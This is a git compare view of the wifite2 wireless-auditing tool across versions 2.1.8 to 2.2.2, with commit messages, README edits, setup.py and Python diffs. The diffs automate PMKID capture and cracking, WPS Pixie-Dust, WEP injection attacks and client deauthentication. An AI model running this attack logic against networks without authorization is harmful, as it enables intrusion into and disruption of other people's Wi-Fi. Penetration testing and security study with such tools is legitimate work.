13 Commits
2.1.8 ... 2.2.2

Author SHA1 Message Date
derv82
04e67dba21 2.2.2: Version bump for --crack improvements. Fix wordlists.
Finally clears up #102.
2018-08-21 14:02:54 -07:00
derv82
f641ea53c4 Fix but when cracking with John, small fixes.
* --crack commands printed consistently (same color/format).
* Only warn about PMKID -> hashcat once if any selected handshakes are PMKIDs
2018-08-21 13:55:22 -07:00
derv82
d01470a8e4 Bringing back Wifite.py
Because why not.
2018-08-21 00:16:15 -07:00
derv82
dd0e44cf53 --crack: Dependency management, avoid dupes in cracked.txt
* Dupes are skipped if everything *except* date matches (same bssid/ssid/type/key)
* John: Detect and use OpenCL or CUDA using `john --list=formats`
* Removed `wifite.py` as it's no longer used & is confusing.
2018-08-21 00:04:21 -07:00
derv82
4173ef46e5 --crack supports hashcat, aircrack, john, cowpatty, and pyrit.
* Still not "print" option for --crack.
* Checks hashcat for devices, uses --force if no devices are found.
* Interrupting --crack stops entire process, not just a single crack attempt
* Changed wordlist location, hopefully completes #102.
2018-08-20 19:33:42 -07:00
derv82
a063f08388 Updating README
Moved things around, added more info, added links to required tools.
2018-08-20 11:44:10 -07:00
derv82
b889cb93af 2.2.1: Version bump for setup.py changes. Save wordlists to share/dict
Should resolve #102
2018-08-20 10:53:48 -07:00
derv82
95798c36f6 Install to /usr/sbin/wifite, save wordlists to /usr/local/share/wordlists/
As asked in #102.
2018-08-19 22:02:14 -07:00
derv82
8b786b70b0 Added setup.py. Run: python -m wifite
As asked by @blshkv in #102.

Running: `sudo python -m wifite`
Install: `sudo python setup.py install`

These steps (and "uninstalling") are mentioned in the README.
2018-08-19 15:32:14 -07:00
derv82
a157132387 2.1.9: --pmkid option, cleaned up --cracked, other bug fixes.
PMKID:

* `--pmkid` option only attacks WPA networks with PMKID capture + crack
* Decreased PMKID capture time from 60 seconds to 15 seconds.
* Ignores PMKID attack if `--wps-only` is set.

WPS:

* Ctrl+C while waiting for `bully` to fetch PSK = remembers PIN, PSK is unknown.

Misc:

* `--cracked` prints results on single lines (much easier to read)
* Fixed typo when required dependencies are not found (closes #127)
2018-08-19 10:37:27 -07:00
derv82
ebb7cac91c Removing the last of the double-quoted strings (now single-quoted) 2018-08-18 03:01:52 -07:00
derv82
c4ed911490 Rewrote --crack behavior; supports multiple handshakes at once. 2018-08-18 02:55:12 -07:00
derv82
0977f48d0c Documentation, code-formatting, and refactoring.
* Added some docs, updated existing docs.
* Use single-quotes for strings when possible.
* Color.pexception() prints exception and stack trace.
2018-08-17 03:46:58 -07:00
42 changed files with 1458 additions and 885 deletions

4
.gitignore vendored
View File

@@ -5,3 +5,7 @@ hs/
*.bak
.idea/
cracked.txt
MANIFEST
dist/
build/
files.txt

2
MANIFEST.in Normal file
View File

@@ -0,0 +1,2 @@
include README.md
include wordlist-top4800-probable.txt

176
README.md
View File

@@ -1,12 +1,108 @@
Wifite 2
========
Wifite
======
A complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks.
This repo is a complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks.
Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches!
What's new in Wifite2?
----------------------
Wifite is compatible with both `python2` and `python3`.
Wifite is designed to use all known methods for retrieving the password of a wireless access point (router). These methods include:
1. WPS: The [WPS Pixie-Dust attack](https://nakedsecurity.sophos.com/2014/09/02/using-wps-may-be-even-more-dangerous/)
2. WPA: The [WPA Handshake Capture](https://hashcat.net/forum/thread-7717.html) and offline crack.
3. WPA: The [PMKID Hash Capture](https://hashcat.net/forum/thread-7717.html) and offline crack.
4. WEP: Various known attacks against WEP, including *fragmentation*, *chop-chop*, *aireplay*, etc.
Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.
Supported Operating Systems
---------------------------
Wifite is designed specifically for the latest version of [**Kali** Linux](https://www.kali.org/). [ParrotSec](https://www.parrotsec.org/) is also supported.
Other pen-testing distributions (such as BackBox) have outdated versions of the tools used by Wifite. Do not expect support unless you are using the latest versions of the *Required Tools*.
Required Tools
--------------
First and foremost, you will need a wireless card capable of "Monitor Mode" and packet injection (see [this tutorial for checking if your wireless card is compatible](http://www.aircrack-ng.org/doku.php?id=compatible_cards)). There are many cheap wireless cards that plug into USB available from online stores.
Second, only the latest versions of these programs are supported and must be installed for Wifite to work properly:
**Required:**
* [`iwconfig`](https://wiki.debian.org/iwconfig): For identifying wireless devices already in Monitor Mode.
* [`ifconfig`](https://en.wikipedia.org/wiki/Ifconfig): For starting/stopping wireless devices.
* [`Aircrack-ng`](http://aircrack-ng.org/) suite, includes:
* [`airmon-ng`](https://tools.kali.org/wireless-attacks/airmon-ng): For enumerating and enabling Monitor Mode on wireless devices.
* [`aircrack-ng`](https://tools.kali.org/wireless-attacks/aircrack-ng): For cracking WEP .cap files and WPA handshake captures.
* [`aireplay-ng`](https://tools.kali.org/wireless-attacks/aireplay-ng): For deauthing access points, replaying capture files, various WEP attacks.
* [`airodump-ng`](https://tools.kali.org/wireless-attacks/airodump-ng): For target scanning & capture file generation.
* [`packetforge-ng`](https://tools.kali.org/wireless-attacks/packetforge-ng): For forging capture files.
**Optional, but Recommended:**
* [`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html): For detecting WPS networks and inspecting handshake capture files.
* [`reaver`](https://github.com/t6x/reaver-wps-fork-t6x): For WPS Pixie-Dust attacks.
* Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found.
* [`bully`](https://github.com/aanarchyy/bully): For WPS Pixie-Dust attacks.
* Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver.
* Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN.
* [`coWPAtty`](https://tools.kali.org/wireless-attacks/cowpatty): For detecting handshake captures.
* [`pyrit`](https://github.com/JPaulMora/Pyrit): For detecting handshake captures.
* [`hashcat`](https://hashcat.net/): For cracking PMKID hashes.
* [`hcxdumptool`](https://github.com/ZerBea/hcxdumptool): For capturing PMKID hashes.
* [`hcxpcaptool`](https://github.com/ZerBea/hcxtools): For converting PMKID packet captures into `hashcat`'s format.
Run Wifite
----------
```
git clone https://github.com/derv82/wifite2.git
cd wifite2
python -m wifite
```
Install Wifite
--------------
To install onto your computer (so you can just run `wifite` from any terminal), run:
```bash
sudo python setup.py install
```
This will install `wifite` to `/usr/sbin/wifite` which should be in your terminal path.
**Note:** Uninstalling is [not as easy](https://stackoverflow.com/questions/1550226/python-setup-py-uninstall#1550235). The only way to uninstall is to record the files installed by the above command and *remove* those files:
```bash
sudo python setup.py install --record files.txt \
&& cat files.txt | xargs sudo rm \
&& rm -f files.txt
```
Brief Feature List
------------------
* [PMKID hash capture](https://hashcat.net/forum/thread-7717.html) (enabled by-default, force with: `--pmkid`)
* Reaver (or `-bully`) WPS Pixie-Dust attack (enabled by-default, force with: `--wps-only`)
* WPA handshake capture (enabled by-default, force with: `--no-wps`)
* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available)
* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte)
* Automatically decloaks hidden access points while scanning or attacking.
* Note: Only works when channel is fixed. Use the `-c <channel>` switch.
* Disable this via `--no-deauths` switch
* 5Ghz support for some wireless cards (via `-5` switch).
* Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`)
* Stores cracked passwords and handshakes to the current directory (`--cracked`)
* Includes metadata about the access point.
* Easy to try to crack handshakes or PMKID hashes against a wordlist (`--crack`)
What's new?
-----------
Comparing this repo to the "old wifite" @ https://github.com/derv82/wifite
* **Less bugs**
* Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this).
@@ -19,17 +115,18 @@ What's new in Wifite2?
* **Educational**
* The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands.
* This can help debug why Wifite is not working for you. Or so you can learn how these tools are used.
* Actively developed (as of March 2018).
* More-actively developed.
* Python 3 support.
* Sweet new ASCII banner.
What's gone in Wifite2?
-----------------------
What's gone?
------------
* No more WPS PIN attack, because it can take days on-average.
* However, the Pixie-Dust attack is still an option.
* However, this feature may be added back into Wiite2 (See [#90](https://github.com/derv82/wifite2/issues/90))
* And the Pixie-Dust attack is still an option.
* Some command-line arguments (`--wept`, `--wpst`, and other confusing switches).
* You can still access some of these, try `./Wifite.py -h -v`
* You can still access some of these obscure options, try `wifite -h -v`
What's not new?
---------------
@@ -37,65 +134,6 @@ What's not new?
* (Mostly) Backwards compatible with the original `wifite`'s arguments.
* Same text-based interface everyone knows and loves.
Brief Feature List
------------------
* Reaver (or `-bully`) Pixie-Dust attack (enabled by-default, force with: `--wps-only`)
* WPA handshake capture (enabled by-default, force with: `--no-wps`)
* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available)
* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte)
* Automatically decloaks hidden access points while scanning or attacking.
* Note: Only works when channel is fixed. Use the `-c <channel>` switch.
* Disable this via `--no-deauths` switch
* 5Ghz support for some wireless cards (via `-5` switch).
* Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`)
* Stores cracked passwords and handshakes to the current directory (`--cracked`)
* Includes metadata about the access point.
* Provides commands to crack captured WPA handshakes (`--crack`)
* Includes all commands needed to crack using `aircrack-ng`, `john`, `hashcat`, or `pyrit`.
Linux Distribution Support
--------------------------
Wifite2 is designed specifically for the latest version of **Kali**'s rolling release (tested on Kali 2017.2, updated Jan 2018).
Other pen-testing distributions (such as BackBox) have outdated versions of the tools used by Wifite; these distributions are not supported.
Required Tools
--------------
Only the latest versions of these programs are supported:
**Required:**
* `iwconfig`: For identifying wireless devices already in Monitor Mode.
* `ifconfig`: For starting/stopping wireless devices.
* `Aircrack-ng` suite, includes:
* `aircrack-ng`: For cracking WEP .cap files and WPA handshake captures.
* `aireplay-ng`: For deauthing access points, replaying capture files, various WEP attacks.
* `airmon-ng`: For enumerating and enabling Monitor Mode on wireless devices.
* `airodump-ng`: For target scanning & capture file generation.
* `packetforge-ng`: For forging capture files.
**Optional, but Recommended:**
* `tshark`: For detecting WPS networks and inspecting handshake capture files.
* `reaver`: For WPS Pixie-Dust attacks.
* Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found.
* `bully`: For WPS Pixie-Dust attacks.
* Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver.
* Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN.
* `cowpatty`: For detecting handshake captures.
* `pyrit`: For detecting handshake captures.
Installing & Running
--------------------
```
git clone https://github.com/derv82/wifite2.git
cd wifite2
./Wifite.py
```
Screenshots
-----------

View File

@@ -1,5 +1,7 @@
#!/usr/bin/env python
from wifite import wifite
# Note: This script runs Wifite from within a cloned git repo.
# The script `bin/wifite` is designed to be run after installing (from /usr/sbin), not from the cwd.
wifite.run()
from wifite import __main__
__main__.entry_point()

4
bin/wifite Executable file
View File

@@ -0,0 +1,4 @@
#!/usr/bin/env python
from wifite import __main__
__main__.entry_point()

2
setup.cfg Normal file
View File

@@ -0,0 +1,2 @@
[install]
install-scripts=/usr/sbin

39
setup.py Normal file
View File

@@ -0,0 +1,39 @@
from distutils.core import setup
from wifite.config import Configuration
setup(
name='wifite',
version=Configuration.version,
author='derv82',
author_email='derv82@gmail.com',
url='https://github.com/derv82/wifite2',
packages=[
'wifite',
'wifite/attack',
'wifite/model',
'wifite/tools',
'wifite/util',
],
data_files=[
('share/dict', ['wordlist-top4800-probable.txt'])
],
entry_points={
'console_scripts': [
'wifite = wifite.wifite:entry_point'
]
},
license='GNU GPLv2',
scripts=['bin/wifite'],
description='Wireless Network Auditor for Linux',
#long_description=open('README.md').read(),
long_description='''Wireless Network Auditor for Linux.
Cracks WEP, WPA, and WPS encrypted networks.
Depends on Aircrack-ng Suite, Tshark (from Wireshark), and various other external tools.''',
classifiers = [
"Programming Language :: Python :: 2.7",
"Programming Language :: Python :: 3"
]
)

105
wifite/__main__.py Executable file
View File

@@ -0,0 +1,105 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
from .config import Configuration
except (ValueError, ImportError) as e:
raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)
from .util.color import Color
import os
import sys
class Wifite(object):
def __init__(self):
'''
Initializes Wifite. Checks for root permissions and ensures dependencies are installed.
'''
self.print_banner()
Configuration.initialize(load_interface=False)
if os.getuid() != 0:
Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}')
Color.pl('{!} {R}re-run with {O}sudo{W}')
Configuration.exit_gracefully(0)
from .tools.dependency import Dependency
Dependency.run_dependency_check()
def start(self):
'''
Starts target-scan + attack loop, or launches utilities dpeending on user input.
'''
from .model.result import CrackResult
from .model.handshake import Handshake
from .util.crack import CrackHelper
if Configuration.show_cracked:
CrackResult.display()
elif Configuration.check_handshake:
Handshake.check()
elif Configuration.crack_handshake:
CrackHelper.run()
else:
Configuration.get_monitor_mode_interface()
self.scan_and_attack()
def print_banner(self):
'''Displays ASCII art of the highest caliber.'''
Color.pl(r' {G} . {GR}{D} {W}{G} . {W}')
Color.pl(r' {G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version)
Color.pl(r' {G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}')
Color.pl(r' {G}`. · `{GR}{D}\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}')
Color.pl(r' {G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}')
Color.pl('')
def scan_and_attack(self):
'''
1) Scans for targets, asks user to select targets
2) Attacks each target
'''
from .util.scanner import Scanner
from .attack.all import AttackAll
Color.pl('')
# Scan
s = Scanner()
targets = s.select_targets()
# Attack
attacked_targets = AttackAll.attack_multiple(targets)
Color.pl('{+} Finished attacking {C}%d{W} target(s), exiting' % attacked_targets)
##############################################################
def entry_point():
try:
wifite = Wifite()
wifite.start()
except Exception as e:
Color.pexception(e)
Color.pl('\n{!} {R}Exiting{W}\n')
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted, shutting down...{W}')
Configuration.exit_gracefully(0)
if __name__ == '__main__':
entry_point()

View File

@@ -9,7 +9,8 @@ class Arguments(object):
''' Holds arguments used by the Wifite '''
def __init__(self, configuration):
self.verbose = any(['-v' in word for word in sys.argv])
# Hack: Check for -v before parsing args; so we know which commands to display.
self.verbose = '-v' in sys.argv or '-hv' in sys.argv or '-vh' in sys.argv
self.config = configuration
self.args = self.get_arguments()
@@ -142,18 +143,20 @@ class Arguments(object):
action='store',
type=int,
dest='num_deauths',
metavar="[num]",
metavar='[num]',
default=None,
help=self._verbose('Number of deauth packets to send (default: {G}%d{W})' % self.config.num_deauths))
def _add_eviltwin_args(self, group):
group.add_argument('-ev',
'--eviltwin',
pass
'''
group.add_argument('--eviltwin',
action='store_true',
dest='use_eviltwin',
help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})'))
# TODO: Args to specify deauth interface, server port, etc.
'''
def _add_wep_args(self, wep):
@@ -277,6 +280,12 @@ class Arguments(object):
help=self._verbose('Time to wait before failing WPA attack (default: {G}%d sec{W})' % self.config.wpa_attack_timeout))
wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpa_attack_timeout', type=int)
wpa.add_argument('--pmkid',
'-pmkid',
action='store_true',
dest='use_pmkid_only',
help=Color.s('ONLY use PMKID capture on WPA endpoints (default: {G}off{W})'))
wpa.add_argument('--new-hs',
action='store_true',
dest='ignore_old_handshakes',
@@ -345,7 +354,7 @@ class Arguments(object):
# Alias
wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int)
# Maximum number of "failures" (WPSFail)
# Maximum number of 'failures' (WPSFail)
wps.add_argument('--wps-fails',
action='store',
dest='wps_fail_threshold',
@@ -355,7 +364,7 @@ class Arguments(object):
# Alias
wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
# Maximum number of "timeouts"
# Maximum number of 'timeouts'
wps.add_argument('--wps-timeouts',
action='store',
dest='wps_timeout_threshold',

View File

@@ -1,18 +1,17 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .wep import AttackWEP
from .wpa import AttackWPA
from .wps import AttackWPS
from .pmkid import AttackPMKID
from ..config import Configuration
from ..util.color import Color
from ..util.input import raw_input
class AttackAll(object):
@classmethod
def attack_multiple(cls, targets):
'''
Attacks all given `targets` (list[wifite.model.target]) until user interruption.
Returns: Number of targets that were attacked (int)
'''
attacked_targets = 0
targets_remaining = len(targets)
for index, target in enumerate(targets, start=1):
@@ -20,7 +19,7 @@ class AttackAll(object):
targets_remaining -= 1
bssid = target.bssid
essid = target.essid if target.essid_known else "{O}ESSID unknown{W}"
essid = target.essid if target.essid_known else '{O}ESSID unknown{W}'
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))
@@ -33,45 +32,53 @@ class AttackAll(object):
@classmethod
def attack_single(cls, target, targets_remaining):
'''
Attacks a single `target` (wifite.model.target).
Returns: True if attacks should continue, False otherwise.
'''
from .wep import AttackWEP
from .wpa import AttackWPA
from .wps import AttackWPS
from .pmkid import AttackPMKID
attacks = []
if Configuration.use_eviltwin:
pass # TODO:EvilTwin attack
# TODO: EvilTwin attack
pass
elif 'WEP' in target.encryption:
attacks.append(AttackWEP(target))
elif 'WPA' in target.encryption:
# WPA can have multiple attack vectors
# WPA can have multiple attack vectors:
if target.wps:
# WPS
attacks.append(AttackWPS(target))
# PMKID
attacks.append(AttackPMKID(target))
# Handshake capture
attacks.append(AttackWPA(target))
if len(attacks) == 0:
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
Color.pl('{!} {R}Error: {O}unable to attack: encryption not WEP or WPA')
return
for attack in attacks:
while len(attacks) > 0:
attack = attacks.pop(0)
try:
result = attack.run()
if result:
break # Attack was successful, stop other attacks.
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
Color.pexception(e)
continue
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not cls.user_wants_to_continue(targets_remaining, 1):
if not cls.user_wants_to_continue(targets_remaining, len(attacks)):
return False # Stop attacking other targets
if attack.success:
@@ -82,10 +89,13 @@ class AttackAll(object):
@classmethod
def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):
''' Asks user if attacks should continue onto other targets '''
'''
Asks user if attacks should continue onto other targets
Returns:
True if user wants to continue, False otherwise.
'''
if attacks_remaining == 0 and targets_remaining == 0:
# No targets or attacksleft, drop out
return
return # No targets or attacksleft, drop out
prompt_list = []
if attacks_remaining > 0:
@@ -98,6 +108,7 @@ class AttackAll(object):
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
' or {R}s{W} to {R}stop{W}: ')
from ..util.input import raw_input
if raw_input(prompt).lower().startswith('s'):
return False
else:

View File

@@ -5,7 +5,6 @@ from ..model.attack import Attack
from ..config import Configuration
from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
from ..util.color import Color
from ..util.process import Process
from ..util.timer import Timer
from ..model.pmkid_result import CrackResultPMKID
@@ -55,7 +54,22 @@ class AttackPMKID(Attack):
def run(self):
# TODO: Check that we have all hashcat programs
'''
Performs PMKID attack, if possible.
1) Captures PMKID hash (or re-uses existing hash if found).
2) Cracks the hash.
Returns:
True if handshake is captured. False otherwise.
'''
# Skip if user only wants to run PixieDust attack
if Configuration.wps_only and self.target.wps:
Color.pl('\r{!} {O}Skipping PMKID attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid)
self.success = False
return False
from ..util.process import Process
# Check that we have all hashcat programs
dependencies = [
Hashcat.dependency_name,
HcxDumpTool.dependency_name,
@@ -68,29 +82,39 @@ class AttackPMKID(Attack):
pmkid_file = None
# Load exisitng has from filesystem
if Configuration.ignore_old_handshakes == False:
# Load exisitng PMKID hash from filesystem
pmkid_file = self.get_existing_pmkid_file(self.target.bssid)
if pmkid_file is not None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file)
# Capture hash from live target.
if pmkid_file is None:
# Capture hash from live target.
pmkid_file = self.capture_pmkid()
if pmkid_file is None:
return False # No hash found.
# Crack it.
try:
self.success = self.crack_pmkid_file(pmkid_file)
except KeyboardInterrupt:
Color.pl('\n{!} {R}Failed to crack PMKID: {O}Cracking interrupted by user{W}')
self.success = False
return False
return True # Even if we don't crack it, capturing a PMKID is "successful"
return True # Even if we don't crack it, capturing a PMKID is 'successful'
def capture_pmkid(self):
'''
Runs hashcat's hcxpcaptool to extract PMKID hash from the .pcapng file.
Returns:
The PMKID hash (str) if found, otherwise None.
'''
self.keep_capturing = True
self.timer = Timer(60)
self.timer = Timer(15)
# Start hcxdumptool
t = Thread(target=self.dumptool_thread)
@@ -113,7 +137,7 @@ class AttackPMKID(Attack):
if pmkid_hash is None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'{R}Failed{O} to capture PMKID\n')
Color.pl("")
Color.pl('')
return None # No hash found.
Color.clear_entire_line()
@@ -124,27 +148,33 @@ class AttackPMKID(Attack):
def crack_pmkid_file(self, pmkid_file):
'''
Cracks file containing PMKID hash (*.16800).
Runs hashcat containing PMKID hash (*.16800).
If cracked, saves results in self.crack_result
Returns:
True if cracked, False otherwise.
'''
# Check that wordlist exists before cracking.
if Configuration.wordlist is None:
Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not found.')
Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
Color.pl('\n{!} {O}Not cracking PMKID ' +
'because there is no {R}wordlist{O} (re-run with {C}--dict{O})')
# TODO: Uncomment once --crack is updated to support recracking PMKIDs.
#Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
key = None
else:
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID...\n')
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID using {C}%s{W} ...\n' % Configuration.wordlist)
key = Hashcat.crack_pmkid(pmkid_file)
if key is None:
# Failed to crack.
if Configuration.wordlist is not None:
Color.clear_entire_line()
Color.pattack('PMKID', self.target, '{R}CRACK',
'{R}Failed{O} to crack PMKID\n')
Color.pl("")
'{R}Failed {O}Passphrase not found in dictionary.\n')
Color.pl('')
return False
else:
# Successfully cracked.
@@ -158,6 +188,7 @@ class AttackPMKID(Attack):
def dumptool_thread(self):
'''Runs hashcat's hcxdumptool until it dies or `keep_capturing == False`'''
dumptool = HcxDumpTool(self.target, self.pcapng_file)
# Let the dump tool run until we have the hash.
@@ -168,9 +199,7 @@ class AttackPMKID(Attack):
def save_pmkid(self, pmkid_hash):
'''
Saves a copy of the pmkid (handshake) to hs/
'''
'''Saves a copy of the pmkid (handshake) to hs/ directory.'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.mkdir(Configuration.wpa_handshake_dir)
@@ -188,3 +217,4 @@ class AttackPMKID(Attack):
pmkid_handle.write('\n')
return pmkid_file

View File

@@ -18,7 +18,7 @@ class AttackWEP(Attack):
Contains logic for attacking a WEP-encrypted access point.
'''
fakeauth_wait = 5
fakeauth_wait = 5 # TODO: Configuration?
def __init__(self, target):
super(AttackWEP, self).__init__(target)
@@ -69,7 +69,7 @@ class AttackWEP(Attack):
# Use our interface's MAC address for the attacks.
client_mac = Ifconfig.get_mac(Configuration.interface)
# Keep us authenticated
fakeauth_proc = Aireplay(self.target, "fakeauth")
fakeauth_proc = Aireplay(self.target, 'fakeauth')
elif len(airodump_target.clients) == 0:
# Failed to fakeauth, can't use our MAC.
# And there are no associated clients. Use one and tell the user.
@@ -108,16 +108,16 @@ class AttackWEP(Attack):
current_ivs = airodump_target.ivs
total_ivs = previous_ivs + current_ivs
status = "%d/{C}%d{W} IVs" % (total_ivs, Configuration.wep_crack_at_ivs)
status = '%d/{C}%d{W} IVs' % (total_ivs, Configuration.wep_crack_at_ivs)
if fakeauth_proc:
if fakeauth_proc and fakeauth_proc.status:
status += ", {G}fakeauth{W}"
status += ', {G}fakeauth{W}'
else:
status += ", {R}no-auth{W}"
status += ', {R}no-auth{W}'
if aireplay.status is not None:
status += ", %s" % aireplay.status
status += ', %s' % aireplay.status
Color.clear_entire_line()
Color.pattack("WEP", airodump_target, "%s" % attack_name, status)
Color.pattack('WEP', airodump_target, '%s' % attack_name, status)
# Check if we cracked it.
if aircrack and aircrack.is_cracked():
@@ -141,7 +141,7 @@ class AttackWEP(Attack):
if aircrack and aircrack.is_running():
# Aircrack is running in the background.
Color.p("and {C}cracking{W}")
Color.p('and {C}cracking{W}')
# Check number of IVs, crack if necessary
if total_ivs > Configuration.wep_crack_at_ivs:
@@ -180,7 +180,7 @@ class AttackWEP(Attack):
# If .xor is not there, the process failed.
Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name)
# XXX: For debugging
Color.pl('{?} {O}Command: {R}%s{W}' % " ".join(aireplay.cmd))
Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))
Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
break
@@ -193,8 +193,8 @@ class AttackWEP(Attack):
if replay_file:
Color.pl('{+} {C}forged packet{W},' +
' {G}replaying...{W}')
wep_attack_type = WEPAttackType("forgedreplay")
attack_name = "forgedreplay"
wep_attack_type = WEPAttackType('forgedreplay')
attack_name = 'forgedreplay'
aireplay = Aireplay(self.target,
'forgedreplay',
client_mac=client_mac,
@@ -206,7 +206,7 @@ class AttackWEP(Attack):
break
else:
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
Color.pl('{?} {O}Command: {R}%s{W}' % " ".join(aireplay.cmd))
Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))
Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
break # Continue to other attacks
@@ -251,16 +251,7 @@ class AttackWEP(Attack):
return self.success
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
Color.pexception(e)
continue
# End of big try-catch
# End of for-each-attack-type loop
@@ -277,29 +268,29 @@ class AttackWEP(Attack):
or if we should stop attacking this target (returns True).
'''
if target is None:
Color.pl("")
Color.pl('')
return True
target_name = target.essid if target.essid_known else target.bssid
Color.pl("\n\n{!} {O}Interrupted")
Color.pl("{+} {W}Next steps:")
Color.pl('\n\n{!} {O}Interrupted')
Color.pl('{+} {W}Next steps:')
# Deauth clients & retry
attack_index = 1
Color.pl(" {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name))
Color.pl(' {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}' % (current_attack, target_name))
# Move onto a different WEP attack
for attack_name in attacks_remaining:
attack_index += 1
Color.pl(" {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name))
Color.pl(' {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}' % (attack_index, attack_name, target_name))
# Stop attacking entirely
attack_index += 1
Color.pl(" {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index)
Color.pl(' {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}' % attack_index)
while True:
answer = raw_input(Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index))
answer = raw_input(Color.s('{?} Select an option ({G}1-%d{W}): ' % attack_index))
if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index:
Color.pl("{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index)
Color.pl('{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}' % attack_index)
continue
answer = int(answer)
break
@@ -309,7 +300,7 @@ class AttackWEP(Attack):
deauth_count = 1
Color.clear_entire_line()
Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...")
Color.p('\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...')
Aireplay.deauth(target.bssid, essid=target.essid)
attacking_mac = Ifconfig.get_mac(Configuration.interface)
@@ -318,13 +309,13 @@ class AttackWEP(Attack):
continue # Don't deauth ourselves.
Color.clear_entire_line()
Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station)
Color.p('\r{+} {O}Deauthenticating client {C}%s{W}...' % client.station)
Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
deauth_count += 1
Color.clear_entire_line()
Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count)
Color.pl('\r{+} Sent {C}%d {O}deauths{W}' % deauth_count)
# Re-insert current attack to top of list of attacks remaining
attacks_remaining.insert(0, current_attack)
@@ -336,11 +327,11 @@ class AttackWEP(Attack):
attacks_remaining.insert(0, attacks_remaining.pop(answer-2))
return False # Don't stop
def fake_auth(self):
'''
Attempts to fake-authenticate with target.
Returns: True if successful,
False is unsuccessful.
